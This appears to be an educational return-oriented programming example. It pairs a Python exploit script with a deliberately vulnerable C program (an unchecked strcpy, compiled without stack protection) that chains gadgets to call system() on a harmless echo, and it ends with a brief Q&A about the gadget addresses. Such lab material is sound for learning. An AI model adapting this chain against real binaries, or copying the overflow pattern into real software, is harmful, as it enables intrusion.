Simple ROP Exploit Example (x86)

exploit.py

# NOTE: For Python 2.7
import os
import struct

#Find gadgets
pop_ret = 0x08049ca5 # start address of a pop,ret sequence
pop_pop_ret = 0x08049ca4 # start address of a pop,pop,ret sequence
lazy = 0x08049b05 # objdump -d | grep lazy
food = 0x08049b30 # objdump -d | grep food
feeling_sick = 0x08049b92 # objdump -d | grep feeling_sick

#Buffer Overflow
payload = "A"*0x6c
payload += "BBBB"

#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)

#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)

payload += struct.pack("I", lazy)

os.system("./simple-rop \"%s\"" % payload)

Makefile

simple-rop: simple-rop.c
	gcc -m32 -O0 -g -static -fno-stack-protector $^ -o $@

.PHONY: clean

clean:
	rm -rf simple-rop

simple-rop.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char string[100];

// I might need this later. ¯\_(ツ)_/¯
// I'm not using it so it shouldn't affect anything.
void lazy() {
  system(string);
}

void food(int magic) {
  printf("THANK YOU!\n");
  if (magic == 0xdeadbeef) {
    strcat(string, "/bin");
  }
}

void feeling_sick(int magic1, int magic2) {
  printf("1m f33ling s1cK...\n");
  if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d) {
    strcat(string, "/echo 'This message will self destruct in 30 seconds...BOOM!'");
  }
}

void vuln(char *string) {
  char buffer[100] = {0};
  strcpy(buffer, string); // I don't know any better.
}

int main(int argc, char** argv) {
  string[0] = 0;

  printf("m3 hUN6rY...cAn 1 haZ 5H3ll?! f33d mE s0m3 beef\n\n");
  if (argc > 1) {
    vuln(argv[1]);
  } else {
    printf("y0u f0rG0T t0 f33d mE!!!\n");
  }
  return 0;
}

Should I just set pop_ret to the start of the overflow? like the first appearence of "BBBB" or after it

You should set pop_ret to the address of the sequence in the program.